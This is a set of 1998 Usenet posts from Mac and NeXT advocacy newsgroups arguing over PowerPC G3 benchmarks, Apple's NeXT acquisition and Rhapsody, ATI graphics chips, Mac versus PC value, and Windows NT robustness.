joe.ragosta@dol.net (Joe Ragosta) wrote:
>Assuming that Linux is currently released for G3s, all you have to do is
>show some benchmark scores on Linux to show that the FP is slow. You
>haven't done that.
The "G3 optimized for MacOS" thing is mostly marketing. In reality, what
it translates to is that the design team used common Mac applications to
supply code sequences used for analysis of cost/benefit tradeoffs in the
design of the 750's pipeline. In a sense the 750 is (if anything)
optimized for code emitted by CodeWarrior, that being what the vast
majority of Mac apps are compiled with.
Does that mean that it won't run other software fast? No. Not at all.
The 750's pipeline and memory system optimizations are pretty general
purpose. There isn't some magic difference between MacOS code and UNIX
code.
It's well known that the 750 is not as fast in FP as it could be. One
tradeoff in its design is that it doesn't execute double precision
multiplies with a throughput of one per cycle. (The 604e, on the other
hand, does DP multiply without any stalls.) That decision hurts the 750's
usefuless for heavy duty number crunching, but reduces cost too by making
the FPU smaller.
In another post you write:
>And I notice you still haven't provided any data for Spec95fp running on a
>Mac (with Mac OS or Linux). Until you do, your statement is no more than
>unfounded speculation.
The published PPC 750 SPEC estimates from Motorola and IBM assume a
processor/memory subsystem pretty close to that of the PowerMac G3 series,
and thus should be reasonably close estimates.
--
-- Tim
To mail me unsolicited advertisements: Move to Siberia. Wait until I
say it's OK to send. Everybody else, remove "noUCE." from my address.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 21 Jun 1998 19:58:15 GMT
Organization: University of Maryland, College Park
Message-ID: <6mjokn$37e$1@hecate.umd.edu>
References: <joe.ragosta-1906981305340001@wil53.dol.net> <B1B0B7F3-61E7C@206.165.43.175> <joe.ragosta-2006980712410001@elk32.dol.net> <6mha18$l86$1@hecate.umd.edu> <bgrubb-2106981119150001@lc094.zianet.com>
Bruce L. Grubb (bgrubb@zianet.com) wrote:
: In article <6mha18$l86$1@hecate.umd.edu>,
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: >The SPEC test suite is but a collection of application programs
: >that run certain algorithms. There is nothing magical about them, and there
: >is no reason why they cannot be recompiled to run on Macs.
: >
: >Why doesn't Apple emphasize them?
: Fror the reason I stated in my Mac-IBM-compare sheet several years ago:
: SPECMarks: OSG SPECMarks measure the IDEAL performance of processors NOT
: real world performance. In some cases hardware configuration can effect
: SPECMarks themselves. For example, the presence or absence of an optional
: L2 cache card effected SPEC92marks for BOTH the Pentium and MPC601 by
: 10-15%. OS-software design and interaction resulted in certain
: crossplatform programs on MPC601 Macs outperforming their Pentiums
: counterparts by almost 50% even though the SPEC92ints were within 10% of
: each other.
: There are simply too many factors involved to get a computer simply by
: what the SPECs are. Unless you have the OS-RAM-cache-hardware information
: that goes along with the SPECs the numbers are useless.
SPECs are not the end all and be all of benchmarks. Nothing is, but it is
not a measure of "IDEAL" performance either. It started with a group of
workstation manufacturers who wanted a cross platform benchmark they
could use to show their customers just how fast their respective machines
were. Prior to that, you had mips, Dhrystone, Linpacks, Whetstone, and
ofcourse Voodoo. Spec89 was the first attempt in getting a suite of
applications together. It has always been the SPEC rules that along
with every SPECmark submission that OS-RAM-cache-hardware information
be disclosed, else, as you say, those scores are useless. For example,
Those nice 604e-333 SPEC numbers really put the 604e processor in a
very good light, until you realize that the workstation wrapped around
it is providing it with incredible memory bandwith (the IBM F50).
put the same 604e chip in a system with more generic memory subsystem,
and the numbers fall back somewhat. Similarly, we see with the SPECInt
numbers on the Mac system below that of a slightly slower (in terms of
MHz) IBM workstaion. And we sort of expected it, because the older
PMac had a slower memory subsystem, and smaller cache as well. Memory
bandwidth alone would explain the PMacs slightly lower score on the
SPEC score shown. I would submit that this is closer to "real life"
than any other benchmark which would show the opposite interaction.
Ofcourse we could always go back to mips, and see that the PMac can
crunch Nops faster than the IBM workstation.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 21 Jun 1998 19:47:42 GMT
Organization: P & L Systems
Message-ID: <6mjo0u$qr1$1@ironhorse.plsys.co.uk>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net>
<6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com>
<6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com>
<6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
<6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com>
<slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com>
<slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com>
<6mc51u$sih$1@nnrp1.dejanews.com> <3589A742.96EEFF47@nstar.net>
<6mdf3l$5mq$4@ironhorse.plsys.co.uk> <358A7783.74B303E6@nstar.net>
Mime-Version: 1.0
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Cc: mjpeck@nstar.net
In <358A7783.74B303E6@nstar.net> Michael Peck wrote:
> What's been made abundantly clear is that "PR" is the official
> unofficial explanation imputed to the facts by your point of view. You
> couldn't make that clearer if you offered to make a bet on it. The
> problem is that PR or no, Apple has made absolutely zero committment,
> explicit or otherwise, to "Rhapsody" as a composite technology.
>
http://www.maccentral.com/news/9806/18.x_part1.shtml
> If you think that this is something different for Apple, you're
> obviously new in town. [...]
> But no, I'm sure it's different this time. Just because it's so obvious
> to you.
>
<yawn>
mmalc.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 01:37:44 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6mku6n$lk61@odie.mcleod.net>
References: <6mkd25$8c44@odie.mcleod.net>
I want to be convinced!
I have had several replies to the arguments against the NeXT acquisition.
So far, no body has contented that the purchase was NOT a mistake. Several
people have commented that Yellow Box is not dead. Several people have
suggested that Yellow Box can be mixed with Carbon and adopted gradually.
(I do not believe this. We can argue that in another thread.) Several
people have suggested that the purchase was worth it for the people it
brought to Apple.
Playing devil's advocate -
Well, Apple could have attracted the people (and other talented ones as
well) for a small fraction of 400M. How about 200 people with a 1M signing
bonus ? They would have had the cream of Silicon Valley at half the price.
Again, the real tragedy is that Apple did not buy NeXT in the 1988 to 1990
time frame.
Remember: a NeXT cube was CHEAPER than the comparable Apple at the time.
Read the WWDC Carbon session notes. It is really depressing. A lot of work
is ongoing with Carbon. There are likely many more Apple employees working
on Carbon than anything else. What concerns do they have ? They want a
text system that can handle more than 32K of text. They want to discourage
programs from allocating all available memory and/or the system memory in
"low" addresses. They want customizable menus. They want to be able to
store fonts anywhere. They want proportional sliders. They want window
layering (floating pallets). This is the dark ages people.
Message-ID: <358DA154.6CD1B486@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <see-below-1706981807140001@dynamic62.pm07.mv.best.com> <slrn6oh5t5.p7f.sal@panix3.panix.com> <358B2F85.1053B40@spamtoNull.com> <joe.ragosta-2006980714560001@elk32.dol.net>
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Date: Mon, 22 Jun 1998 00:07:53 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 00:07:53 GMT
Organization: MCI2000
Joe Ragosta wrote:
>
> In article <358B2F85.1053B40@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > It's all economics at Apple these days. The ATI graphics tech is simply
> > the *cheapest* Apple can buy.
>
> Yet another erroneous bit of FUD from Harker.
>
> I suppose you've seen the price quotes that Apple relied upon?
>
> And I suppose you can explain why buying the ATI graphics set is less
> expensive than just reusing their own chipset? Oh, you say that their own
> chip set is outdated and slow? So price isn't the only issue, right?
>
Try thinking things out a little before you post, Joe. ATI has an
*economies of scale* that Apple can only dream about insofar as graphics
chip production is concerned. ATI sells the *same* exact chips not only
to Apple, but to dozens of computer makers for their low-end, generic
mass-consumer boxes. Acer, IBM, HP are just of few of the companies that
put the *same* ATI chips onto their motherboards and/or PCI/AGP slots.
Don't believe it? Just mosey on down to Computer City or to Best Buy and
go up to a few running platforms and query the Windows device manager to
tell you what graphics chip is onboard. You'll be amazed at how many of
them report "ATI Rage Pro" and some may even still show "ATI RAGE II"
(in the really cheapo models.) The ATI web site has more than a dozen
OEMs listed that use ATI graphics chips in some of their boxes.
But the minute you get a notch above the generic consumer boxes, like
higher end models from IBM, HP, and from companies like Micron, Dell,
and Gateway...you'll see that names like Matrox, Nvidia, Number Nine and
others are the mainstay.
When Apple buys ATI graphics chips for integration into its products,
they in fact buy them much cheaper than they could make their own chips,
and they get in return the R&D benefits and software driver design done
*for them* by ATI. This saves Apple a lot of money, which is exactly why
Apple uses ATI chips these days *instead* of their own. Reason it out.
IF Apple could make better graphics chips and make them cheaper they'd
have to be *really nuts* to use ATI instead, wouldn't they?
Far from being FUD, it's a fact. If you were more conversant with the
larger computer market, you'd know everything I've said about ATI is
true. Apple is banking on the fact that you don't.
Message-ID: <358DA2DC.E2DDEEF7@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <358537F3.66478A32@spamtoNull.com> <cirby-1506981529250001@pm53-28.magicnet.net> <3585EA07.BDE7E2C6@spamtoNull.com> <atlauren-1706981027500001@jungleland.acs.uci.edu> <358B2A9B.84F9CA1C@spamtoNull.com> <stone-ya02408000R2006981028280001@news.enetis.net>
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Date: Mon, 22 Jun 1998 00:14:26 GMT
NNTP-Posting-Date: Mon, 22 Jun 1998 00:14:26 GMT
Organization: MCI2000
Brian Stone wrote:
>
> In article <358B2A9B.84F9CA1C@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > What's funny is that even if the iMac or current G3 models were
> > restricted to the *same number of interrupts as this PC* it wouldn't
> > matter at all since the iMac can't be expanded internally, and the G3
> > desktop has a total of only three PCI expansion slots--you simply
> > couldn't *put* everything I have in this box inside a G3 anyway....:)
> > Now, what was the deal about interrupts, again?....:)
>
> There are several six-sloted PCI MacOS systems. The PowerMac 9600 is
> Apple's highest end computer that has six PCI slots, and it can be upgraded
> to a G3. There were a few Mac clones that had 6 slots too. There's also a
> third party which is producing a PCI expansion box with as many as 9
> additional PCI slots in a seperate box. Apple has already demonstrated a
> multiplex-monitor system running off of a G3 PowerMac using one of these
> expansion boxes, and they've stated that they'll demonstrate the same
> multiplex-monitor system running off of a PowerBook a little later this
> year.
I understand that the 3-slot limit has not always applied to Apple
products, and I lament the loss of Apple cloners who made great boxes.
But the current Apple product line caps the limit at three PCI slots.
Hopefully, Apple will correct this in the near future. But the current
state of affairs in no way invalidates what I said: that talking about
Interrupt limits in PCs right now is ludicrous since the Mac's problem
is worse: a lack of internal expansion slots. Current PCs can fill all
their slots (AGP, PCI, and ISA) and still have IRQ's to spare. With half
the internal expansion capability, you'd run out of slots in a Mac long
before you'd run out of IRQ's (if the Mac was limited to them.)
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 00:36:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6or9od.h0d.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com>
On Sat, 20 Jun 1998 03:43:06 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Don't assume this--you'd be wrong. ATI does *terrible* drivers--always
>have and it seems they always will.
PC drivers? Why should a Mac user care if ATI ships buggy PC drivers?
> If the Apple implementation is
>anywhere near stable, it's only because Apple has tweaked and improved
>the drivers for the Mac OS (which I wouldn't doubt)--not because the
That is a great reason for Apple to use the ATI card. Thanks for making
that point.
>drivers are "more stable because Rage II is older." Has nothing to do
>with it.
I never said that. What I said was that Apple might decide to stick with
a chipset because the drivers a) exist b) are stable. I made no statement
on the age of the chipset.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 00:38:05 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6or9rd.h0d.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <6map2e$hpd$1@ns3.vrx.net> <slrn6oig8c.k93.sal@panix3.panix.com> <358B3109.FBCEE71@spamtoNull.com>
On Sat, 20 Jun 1998 03:44:17 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Would someone please tell me what a "Voodoo RAGE" is?.....:)
>As I understand it, Voodoo is made by 3dfx, "rage" is made by ATI.
If you bothered to read the rest of the thread, you would have seen
that Maury made a slight typo and refered to the Voodoo rush as the
Voodoo rage.
--
sal@panix.com
Salvatore Denaro
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 22 Jun 1998 00:27:51 GMT
Organization: P & L Systems
Message-ID: <6mk8e7$qr1$2@ironhorse.plsys.co.uk>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net>
<6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net>
<6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net>
<6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net>
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Cc: mjpeck@nstar.net
In <358A79EB.8C8776DC@nstar.net> Michael Peck wrote:
> spagiola@my-dejanews.com wrote:
>
> > Fine. Microsoft denied, loud and clear that W95 had DOS underpinnings.
Since
> > they clearly lied, I'm not sure what the lesson you're taking from this
is.
>
> The truth of the statement has nothing to do with the comparison. It's
> not even relevant, since the Apple assertion isn't a provable fact. The
> point of the comparison is to demonstrate what it means to the company's
> committments. I'm not sure what lesson *YOU* are taking from it, except
> to reinforce your repetitive mantra: "We are the good guys, they are the
> bad guys. We are the good guys, they are the bad guys..."
>
Sorry, I've come into this discussion late -- I don't understand that.
> > Now Apple is stressing the continuity of its OS development efforts with
the
> > old MacOS rather than stressing the parts that are new (Yellow Box etc).
>
> Sort of a "Back to the Future", I guess. After having stolen Gil "The
> Snail" Amelio's thunder by stepping up the migration pace, alienating
> millions of users but apparently not caring (oh, what panache), you're
> telling me that Jobs is *retreating* back to the original MacOS-friendly
> position? Oh, well done, well done, indeed.
>
> What galls me is not that Jobs is doing what he obviously must. What
> galls me is that you seem to applaud the entire course of history
> involved.
>
Feel galled if you like, hindsight is a wonderful thing.
If MacOS developers had risen with one voice saying "Yea and the YellowBox is
the toolbox of the Lord, and Avie will deliver us from the land of Cop" then
then things would be different. As it is they rose as one saying, "Slay our
firstborn??!!" So, what would you rather, Jobs turn round and say "Yup, slay
away," or instead "Well, OK, here's an alternative"? My guess is either way
in your eyes "we"'d lose. With Plan B, everyone wins.
> Again, the claim has backed off from "It's OPENSTEP with a MacOS GUI" to
> "they're almost exactly the Rhapsody architecture diagrams", not even a
> mention of OPENSTEP anymore. Since nobody even knows what "Rhapsody" is,
> I'm struck by how nebulous this whole line of argument has become.
>
Oh what tosh; we know well enough what Rhapsody is, and we can see well
enough the similarities between Rhapsody and MacOS X. Maybe with your
jaundiced eye you can't see the YellowBox -- the new name for "OPENSTEP" by
the way; I can't see any reason for Apple to use "OPENSTEP".
> The new operating system may be substantially OPENSTEP-based.
>
May be; it'll be a version 2 -- I'd expect it to diverge from version 1, else
it wouldn't have a version number increment. I'd also expect there to be a
number of Carbon apps in there shipped as standard, as the new Apple seems to
be making a habit of (as Mike Paquette has expressed it previously) "eating
their own dogfood". It makes sense to use the tools you're selling to your
customers. If it works for you it should work for them.
mmalc.
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Sun, 21 Jun 1998 20:01:19 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1daz78h.1k5p4nwk30efhN@pppsl564.chicagonet.net>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com> <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net> <slrn6ol1ff.7ec.sal@panix3.panix.com>
NNTP-Posting-Date: 22 Jun 1998 01:02:03 GMT
Salvatore Denaro <sal@panix3.panix.com> wrote:
> On Fri, 19 Jun 1998 01:56:11 -0600, Edwin E. Thorne
> <ethorne@chicagonet.net> wrote:
> >Salvatore Denaro <sal@panix3.panix.com> wrote: > Steve's point was that
> >Apple had _no_ product in that price range, not > that the sub $1k PCs
> >are all that good. And he was 100% right. Apple has Cost of acquisition
> >is not the sole determining factor of the value of a computer.
>
> I never said that it was, and AFAIK Steve never said it either. His point
> was that Apple had no product in that price range.
I don't need to be told what his point was, thank you, I've seen enough
of his posts to know what that is.
> > I feel that the Performa that I own represent a great
> >consumer value.
>
> Great. Now, do you think Apple should build Performa 6400's till the
> end of the world, or should they try and build better machines?
That's a silly question. Apple was building "better" machines at the
time that I bought my Performa, and I was well aware of that fact.
>
> >> Did you read any of the _dozens_ of posts he made when he had trouble
> >> installing OpenStep/Mach on his machine? He is hardly a PC cheerleader
> >> spreading FUD about the Mac.
> >Yes, I read his posts. That doesn't change the fact that he bashed the
> >Mac while advocating cheap PCs.
>
> Prove it. Show me the posts. Forward me some quotes. From *all* of the
> posts that I've seen, Steve has been saying that Apple lacked a product
> in the $1k US range, not that cheap PCs are better than Macs.
The posts are in the Deja News record for you to see, there is no need
for me to dredge them up for you. Just do a power search from Januraury
to May of this year on macghod@concentric.net and read what comes up.
If that doesn't prove me correct to you, then all I can say is you have
your opinion, and I have mine.
I've reposted three of macghod's messages in one of my replies to Steve
(macghod) elsewhere in this thread, BTW
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Sun, 21 Jun 1998 20:01:14 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1daz48f.1p37d59863ptzN@pppsl564.chicagonet.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net> <macghod-1806980216100001@sdn-ar-001casbarp297.dialsprint.net> <1daujif.17ymw094idz37N@pppsl844.chicagonet.net> <macghod-1906981628160001@sdn-ar-001casbarp212.dialsprint.net> <1day35l.1vx639ecqamjkN@pppsl635.chicagonet.net> <macghod-2106980043430001@sdn-ar-001casbarp119.dialsprint.net>
NNTP-Posting-Date: 22 Jun 1998 01:02:00 GMT
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1day35l.1vx639ecqamjkN@pppsl635.chicagonet.net>,
> ethorne@chicagonet.net (Edwin E. Thorne) wrote:
>
> > Steve Sullivan <macghod@concentric.net> wrote:
> >
> > [snip]
> > >
> > > So? Does the truth hurt you all that much? Of course, most sub $1k
> > > machines dont have good components, so I wouldnt call them a good value.
> >
> > What??? After all those months of posts from you claiming what a great
> > deal for the money a sub-$1K PC is, you have the colossal gaul to say
> > this???
>
> Lets parse what you said... "After all those months of posts from you
> claiming what a great deal for the money a sub-$1K PC is"
>
> I dare you to go to dejanews and find any of these posts about sub $1k
> pc's. In fact the main pc I talked about was a $1300 one with a monitor,
> and was a p2 300 with 64 megs ram and a good video card that was very
> compatible with openstep.
I've done that in my reply in the thread titled: "Re: powerbooks too
expensive???"
>
> IF IT DIDNT HAVE GOOD COMPONENTS I WOULDNT EVEN OF MENTIONED IT!! But it
> did. I had a good video card, 64 megs of ram, a 4 gig hard drive, a good
> sound card, decent speakers, etc etc.
A computer is much more than the sum of its parts. A computer is a
system that is designed to work together, not just a collection of "good
components." I freely concede that many PCs are in truth made of "good
components." That is solely a function of the electronic manufacturers
that produce the integrated circuit chips, print circuit boards, disk
drives, and all the other components.
It takes excellent computer design to create an outstanding computer
system out of these "good components." Overall system design such as
is found in the Macintosh, that was designed as a multimedia GUI-driven
computer from the moment it was conceived, not kludged together from a
machine that was designed to be little more than a semi-intelligent
text-based termimal, as was the IBM PC, and all its derivatives.
[snip]
> I never said that. I compared pc's to macs. I gave real world examples.
> You called that mac bashing. All I was doing was giving real world
> examples, ie FACTS.
Steve, we have these "facts" rammed down our throats every day. You're
really not doing anyone here a favor by giving us more of the same.
Other than the prices of the hardware, and the technical specifications,
what you gave us was your opinions, not facts.
> > Yes, telling us how bad Apple is for not producing the type of machine
> > that you now have decided isn't really worth having, and telling us how
> > much better off we'd be with sub-$1K PCs *IS* Mac bashing.
>
> I never even talked about sub $1k pcs. I was in the market for something
> about as fast as a g3 233. A p2 300 is very comparable.
On the contrary, you did. See my reply in the thread titled: "Re:
powerbooks too expensive???"
>
>
> > > Most people use pc's to run openstep. And it is a VERY pleasant
> > > experience. I know, I ran it on a measly k6 233.
> >
> > Good for you. I come to a Mac advocacy group to talk about pleasant
> > Macintosh experiences. Why don't you talk about your pleasant PC
> > experiences in NeXT and PC advocacy groups, instead of csma? It may
> > confuse them when they see the messages posted from a Mac, so I imagine
> > you'll have a bit of explaining to do.
>
> Oh my god. I feel so incredibly bad about how I have confused all those
> poor mac users with room tempeture IQ's. The endless confusion they must
> be in :(
So if you mislead others, that means that they are stupid? Do you
think that anyone should have any regard at all for your opinions? If
not, why do you post them?
[snip]
> If their is a p2 that is comparable in speed to a g3 that has good
> components, and is hundreds and hundreds and hundreds of dollars cheaper
> than a g3, I will say, geez, that is a preety good deal. That would be a
> nice computer to run openstep on, and it is a good price.
Openstep is a platform that has all the disadvantages Apple has, in an
even more dire way, yet you'll harp on those disadvantages for Apple,
while ignoring them for Openstep. Besides having the same founder and
leader that you find fault with at Apple, Openstep also suffers a much
smaller market share than Apple does. In addition, Openstep has to
overcome all the hardware hassels, kludges, and shortcomings that
Windows does. You've encountered them yourself, remember?
BTW, you denigrated me for a post I made about processor speed, and
guess what you using for a comparison of the system quality up there?
Hmmm....
As I've said before, a computer is not just the sum of its components,
and its cost of acquistion is not a true measure of its value. A can of
dog food may be made from good components at a good price, but I think a
hamburger will do me more good at diner time, even if it costs more.
> > > > > > My opinions don't change with the wind. The Macintosh running
> > > > > > the Mac OS is the best computing choice available.
> NO. The macintosh running the macos is the best computing choice
> available for SOME PEOPLE. For others a p2 400 with openstep (or
> rhapsody) is the best choice.
I have no disgreement with this statement whatsoever. The only point
I've made to you is that Mac news groups are for people who feel that
the Mac is the best choice for them. They have PC discussion groups
for what is best for PC users. It is of no value to someone using a
Mac to learn how to make a PC better, any more than it would be for me
to tell the people on a PC news group how to optimize the Mac OS.
> > > And Openstep users would argue with pc's being "crap"
> >
> > Good for them. Let them buy PCs. I'm a Mac user, and a PC user, and
> > I say PCs are crap. Since you want to keep cross-posting this, let
> > them see me say it.
Well, this is actually an exaggeration of my viewpoint. PCs, to be
perfectly honest, are hardly crap. But I do feel that they have many
design flaws that have been deeply ingrained into them, that are all but
impossible to remove, and which consume much effort to work around.
[snip]
> Nope. If the bottom of the cd had a scratch on it it would have read and
> write errors, not the errors I have had. Part of the problem is that I am
> using the browser installed by os 8. I have run several utility programs
> and nothing is reported wrong on the hard drive.
Did you try a clean install of the OS, with no third party utilities,
like Crash Guard, installed? Why don't you start simply, get the OS to
work, and then install your programs one at a time?
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: "John Wiltshire" <jw@NOSPAM.qits.net.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Upgrade ASAP (was: Re: Skip NT 5.0)
Date: Mon, 22 Jun 1998 08:51:38 +1000
Organization: University of Queensland
Message-ID: <6mk2p9$d4e$1@bunyip.cc.uq.edu.au>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com> <casper-1806980728410001@wheat-a-06.monroeville.nb.net> <35897138.7D4B9D67@alum.mit.edu> <joe.ragosta-1906980830370001@wil84.dol.net> <358b7064.1006817@news.uq.edu.au> <casper-2006980623200001@wheat-a-23.monroeville.nb.net> <358b9d4e.12504780@news.uq.edu.au> <casper-2006980817360001@wheat-a-42.monroeville.nb.net> <358c71a4.807611@news.uq.edu.au> <358C9C60.3350C530@trilithon.com>
Henry McGilton wrote in message <358C9C60.3350C530@trilithon.com>...
>John Wiltshire wrote:
>
> <<<< Bunch of "Debating" Snipped >>>>
>
> * Huh? I just don't get where you've pulled these goals
> * from. As far as I am aware, the design goals of NT
> * (in order of priority) were:
> * 1. Robustness
> * 2. Extensibility and Maintainability
> * 3. Portability
> * 4. Performance
> * 5. POSIX and C2
>
>Robustness: NT still has a hell of a long way to go to
>get the "ro" into the "bust". I have been running on
>NT 4 (with SP whatever) for about nine months, and "robust"
>is a long way off. I do all my Java [and C and TROFF and
>PostScript and HTML and PGML] development on NT (I switched
>to NT because I need to reboot only twice a day as opposed
>to 20 times a day on Minnows 95).
>
>I have apps here that can either crash NT on demand, or bring NT to
>a point where the only recourse is to reboot. At least once
>every day or two, I get NT to a point where it claims it
>can't locate the Internet host that I just dialled into.
>On regular occasions, I get that cute message telling me I am
>"running low on virtual memory" --- that one really does
>wonders for my confidence level. These are ostensibly trivial
>apps like a PostScript viewer and a web browser. As far as I
>am concerned, NT is decidedly less than industrial strength in
>Robustness and Reliability.
Have you figured out what is chewing up your memory? Try logging out and
logging back in. If that fixes it then it is a user program, not NT itself.
You can also pull up the task manager and look at the page faults delta for
each process to see what is being the hog.
Note that a PS viewer and a browser can chew a *lot* of memory if you aren't
careful.
>Extensibility and Maintainability: Don't have a great deal
>of knowledge in this area --- I'm just a user/developer.
Yeah. Ditto. It seems extensible enough - Microsoft does a lot of that.
>Portability: well, Intel boxes and Alpha (and PPC?). Not
>so shabby, but not great either.
PPC and MIPS ports were done, in fact, NT started on MIPS AFAIK, which makes
the Intel and Alpha versions both ports.
>Performance: there I'll grant you a [kind of a] win. NT
>performance is pretty damned good, in the sense that the OS
>actually leaves some cycles for applications to use. I ported
>DWB 2.0 over to NT and my TROFF benchmark [TROFF being one of
>the best soakers-up of CPU cycles of all time] has NT [on a 150MHz
>Pentium] going about five times faster than my 25MHz MC68040
>Next Slab. Not bad, but not as great as I would have expected.
My tests show it on a par with Linux on the same box. I call that pretty
good.
>POSIX and C2: POSIX pretty good --- I've ported a bunch of the
>GNU utilities [Flex, Bison, grep, sed, make], and the pain has
>been moderate to acute --- no worse in fact, than porting from
>one Industry Standard UNIX to another Industry Standard UNIX.
>C2 I don't know enough [and don't care enough] to form an opinion.
This was actually talking about the posix subsystem (which is pretty poor).
What I'd like to see is a Linux subsystem running on the NT kernel. It
should be possible.
John Wiltshire
From: sal@panix3.panix.com (Salvatore Denaro)
